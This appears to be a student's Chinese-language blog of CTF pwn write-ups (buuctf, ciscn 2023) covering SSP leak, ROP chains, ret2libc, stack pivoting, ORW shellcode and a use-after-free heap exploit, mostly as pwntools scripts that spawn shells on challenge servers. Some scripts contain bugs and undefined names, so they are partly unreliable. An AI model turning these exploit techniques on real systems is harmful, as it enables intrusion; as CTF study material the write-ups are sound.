集训后的一些wp
阅读原文时间:2023年08月15日阅读:5

新生赛后

0x01 2048(jk出发)

修改跳转条件为nop,随便动一下直接打印flag。这个场景我幻想过很久了,一直没做到,这次参考wp做出来了知道怎么做了。学到!

0x02 four(dsactf)

vmmap查看段权限,可以看到bss段!以前完全不知道可以这样!!

ssp leak打法,没学过,这次学了。输入argv记一下,然后read开始的地址记一下,拿到偏移,可以打ssp leak,这是最关键的一点。不过高版本修复了。但是没关系,乐趣所在。

__stack_chk_fail中可以看到参数。

from pwn import *

p=process("./pwn")
if args.P:
    p=remote('node4.buuoj.cn',25603)

context.terminal = ['tmux','splitw','-h']
if args.G:
    gdb.attach(p)

p.sendlineafter('your choice :', b'2')
p.sendlineafter('You can give any value, trust me, there will be no overflow', str(0x5FF0-1))
payload = b'N'*(0x5de0) + b'flag\x00'
p.sendlineafter('Actually, this function doesn\'t seem to be useful', payload)
p.sendlineafter('Really?', b'y')

p.sendlineafter('your choice :', b'3')
p.sendlineafter('Enter level:', b'3')
p.sendlineafter('Enter mode:', b'3')
p.sendlineafter('Enter X:', b'3')
p.sendlineafter('Enter a string:', b'3')
p.sendlineafter('please input filename', b'output.txt')
p.sendlineafter('1. yes\n2.no', b'2')

bss = 0x602323
p.sendlineafter('your choice :', b'4')
payload = b':`##>@a*>~3'
p.sendlineafter('info>>', payload)

p.sendline(b'5')
#payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaab' + p64(bss)
payload = b'YYYYYYYY' + b'N'*0x110+p64(bss)
p.send(payload)

拿到flag。

2023.5.22

0x00 picoctf_2018_rop chain

久违了,好久没好好做做pwn题,之前都是和比赛苦熬但是没好好熬出个结果(虽然复现学到好多但是确实很累啊!)。最后还是pwn还是要把题目多刷刷,才能形成思路。本人基础知识都已经基本完备,接下来是要好好刷题了。这些日子先多做做栈,等后面时间宽裕了开堆。

题目来源是buuctf pwn的第一页最后一题。

太久没写32位的题目差点忘记怎么传参了。要记住本函数的参数是跟在返回地址后面的。即返回地址+参数,如果有很多个函数,他们有很多个参数,则是

add1 + (add2 + arg1 +……)#属于add1的返回地址和参数 + (add3 +arg2+……)#属于add2的 + (add4 + arg3+……)#属于add3的

这么看太抽象,直接看题解吧!

0x01 wp

checksec啥的就跳过了,具体可以参考之前的wp。

存在栈溢出漏洞。

将win1设置为1。

当传参为0xbaaaaaad,win2设置为1。

当win1和win2为1,参数为0xdaeadbaad,打印flag

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pico'
libcname = './libc.so.6'
p = process('./pico')
p = remote('node4.buuoj.cn', 29602)
elf = ELF(procname)
#libc = ELF(libcname)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s, drop=True)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda p, s : p.sendafter(p, s)
sla = lambda p, s : p.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

win1 = p32(0x80485cb)
win2 = p32(0x80485d8)
flag = p32(0x804862b)

p1 = b'a'*0x18+ b'bppp' + win1 + win2 + flag + p32(0xbaaaaaad) +p32(0xdeadbaad)
#flag没返回地址所以就没填,直接传参

sl(p1)

ia()

有问题欢迎指出和指正!!欢迎交流,热烈欢迎大家来学pwn!

2023.5.27

0x00 ciscn 2023 烧烤

第一步,分析

静态分析发现,输入负数可以赚钱()。

承包摊位有栈溢出漏洞。

然后用gadget控制寄存器rdi为name(一开始输入'/bin/sh\x00'),rsi、rdx控制为0,rax控制为59,最后进行syscall即可。

第二步,写exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./shaokao')
#p = remote('node4.buuoj.cn', 29639)
elf = ELF('./shaokao')
#libc = ELF('./libc-2.27.so')
p = remote('47.95.212.224', 19743)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

bss = 0x4e60f0
scanf = 0x40bf60
prsi = 0x000000000040a67e #pop rsi ; ret
pedx = 0x00000000004a404b # pop rdx ; pop rbx ; ret
prdi = 0x000000000040264f # pop rdi ; ret
prax = 0x0000000000458827 # pop rax ; ret
syscall = 0x0000000000402404
sh = 0x00000000004d29cc

sla('>',b'1')
sl(b'1')
sl(b'-1000000')
sla('>',b'4')
sla('>',b'5')

payload = b'/bin/sh\x00'*5 + p64(prdi) + p64(bss) + p64(prax) + p64(59) +p64(prsi) + p64(0) +p64(padx) +p64(0)*2 +p64(syscall)

sl(payload)

ia()

2023.06.09

0x01 ez_pz_hackover_2016

不能再傻了……32位是先返回地址然后参数啊……

buuctf pwn第二页第一题

~/ctf/train/buu/hackover2016 » cat exp.py                                                                                       N1nE@N1nEmAn
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pz'
libcname = './libc-2.23.so'
p = process('./pz')
p = remote('node4.buuoj.cn', 28711)
elf = ELF(procname)
libc = ELF(libcname)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s, drop=True)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda p, s : p.sendafter(p, s)
sla = lambda p, s : p.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

padd = elf.plt['printf']
main = elf.sym['main']
pgot = elf.got['printf']

sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(padd)+p32(main)+p32(pgot))#构建输入进入vuln函数,返回地址+返回地址2+参数ru('!\n')
ppadd = u32(rv(4))#接受printf地址print('printf:',hex(ppadd))
base = ppadd - libc.sym['printf']
print('base:',hex(base))
system = base+libc.sym['system']
binsh = base+0x15902b#用ROPgadget找到的binsh字符串地址sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(system)+p32(main)+p32(binsh))#替换最后输入拿到权限
ia()



og = base+0x3a80c
#sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(system)+p32(main)+p32(binsh))#替换最后输入拿到权限
sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(og)+p32(0)*0x20)#使用one_gadget并且覆盖esp+0x28的位置为0,达成一枪致命的效果
ia()

2023.07.02

0x01 pwnable_orw

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./orw')
elf = ELF('./orw')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 27378)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

shellcode = shellcraft.open('flag')#orw
shellcode += shellcraft.read('eax','esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)
shellcode  = asm(shellcode)
print('shellcode is ',shellcode)
sl(shellcode)

ia()

0x02 [BUUCTF]PWN——[Black Watch 入群题]PWN

构造栈迁移ret2libc,一定不要在栈迁移的时候用sendline

from pwn import *

p = process('./l4')
p = remote('node4.buuoj.cn', 28093)
elf = ELF('./l4')
libc = ELF('./libc-2.23.so')
context(os='linux', arch='i386', log_level='debug')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

puts = 0x8048380
lv = 0x08048511
main = 0x8048513
putsgot = 0x804a01c
s = 0x804a300
payload = b'aaaa' + p32(puts) + p32(main) + p32(1) + p32(putsgot)+p32(8)

p.sendafter(b'?',payload)
pay2 = b'aaaabaaacaaadaaaeaaafaaa'+p32(s)+p32(lv)
p.sendafter(b'?',pay2)

realputs = u32(p.recvuntil('\0')[-5:-1].ljust(4,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))

libcbase = realputs - libc.sym['write']
print(hex(libcbase))

sys = libcbase + libc.sym['system']
print(hex(libc.sym['system']))
print(hex(sys))
binsh = libcbase + 0x15902b

payload = b'aaaa' + p32(0x08048312)+p32(sys) + p32(main) + p32(binsh)
p.sendafter(b'?',payload)
pay2 = b'aaaabaaacaaadaaaeaaafaaa'+p32(s)+p32(lv)
p.sendafter(b'?',pay2)

p.interactive()

2023.7.4

0x01 inndy_rop与rop_chain

使用这个命令。

ROPgadget --binary l4 --ropchain 就会得到一个rop,只需要返回这个就行。

一开始得到这个:

p = b''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

我们要学习一下:

在 Vim 中进行批量替换内容,你可以使用 :s 命令(substitute 的缩写)。下面是一些常用的替换方法:

  1. 替换当前行的第一个匹配项:

    :s/要替换的内容/替换后的内容/
  2. 替换当前行所有匹配项:

    :s/要替换的内容/替换后的内容/g
  3. 替换指定范围内所有匹配项:

    :起始行号,结束行号s/要替换的内容/替换后的内容/g
  4. 替换整个文件中的所有匹配项:

    :%s/要替换的内容/替换后的内容/g
  5. 替换时忽略大小写:

    :%s/要替换的内容/替换后的内容/gi
  6. 提示确认每次替换:

    :%s/要替换的内容/替换后的内容/gc

以上命令中,s/ 表示替换操作的开始,g 表示全局替换,i 表示忽略大小写,c 表示每次替换时都要确认。

如果要进行批量替换并保存更改,可以在命令前加上 w 来写入文件。例如:

:w | %s/要替换的内容/替换后的内容/g | wq


from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

io = process('./l4')
elf = ELF('./l4')
libc = ELF('./libc-2.23.so')
#io = remote('node4.buuoj.cn', 27407)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : io.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(io,'b *0x8048893')
p=b'a'*(0xc+4)
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080b8016) # pop eax ; ret
p += b'/bin'
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea064) # @ .data + 4
p += p32(0x080b8016) # pop eax ; ret
p += b'//sh'
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x080492d3) # xor eax, eax ; ret
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080de769) # pop ecx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x080492d3) # xor eax, eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0806c943) # int 0x80
sl(p)
ia()

2023.7.5

hitcontraining_uaf(个人认为本质和fastbin差不多

本题的漏洞是UAF,漏洞在于删除堆块的函数没有将指针置为0,这使得我们可以修改相关内存。这个程序会在分配堆的时候在之前分配一个有关puts的堆,存有print_note_content函数和参数,用来调用打印heap信息。接着下一个才是申请的堆块。

如果我们覆盖这个函数为magic,那么我们就可以在打印的时候调用magic。

整体思路是,利用UAF漏洞,先释放两个大堆块,在申请一个小堆块,这样的话第一次申请puts的堆的话是申请第二次释放的puts的堆,再申请我们要申请的堆,就会申请到第一次释放的puts的堆,然后修改puts堆的函数地址,达到目的。(Tcache后进先出)。

add(16,b'0')
add(16,b'0')

执行这些之后,堆上是这样的。

(vis(visble )命令可以直接查看,全称是vis_heap_chunk)

可以看到紫色的是putheap函数和参数,而绿色才是第一个申请的堆块,蓝色是第二个putsheap的函数和参数,橙色是第二个堆块。

free(0)
free(1)

执行这些之后,堆上是这样的。释放后的到了Tcache bin中。

magic = 0x8048945 

add(8,p32(magic))

接着我们申请8字节大小的内存,和putsheap函数的内容大小一样。

执行第一步,根据Tcache后进先出,蓝色被分配用于存放putsheap函数和参数(当前还没参数)。

执行第二步,紫色用于作为我们申请的内存,并且写入magic地址,注意,这里本来应该是执行putsheap的地址,所以在打印堆块的时候会执行这个函数,然后拿到权限。

执行,拿到权限。

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./heap')
p = remote('node4.buuoj.cn', 28490)
elf = ELF('./heap')
libc = ELF('./libc.so.6')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size,content):
    sla(':',str(1))
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':','2')
    sla(':',str(idx))

def dump(idx):
    sla(':','3')
    sla(':',str(idx))

add(16,b'0')
add(16,b'0')

free(0)
free(1)

magic = 0x8048945 

add(8,p32(magic))
dump(0)
ia()

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器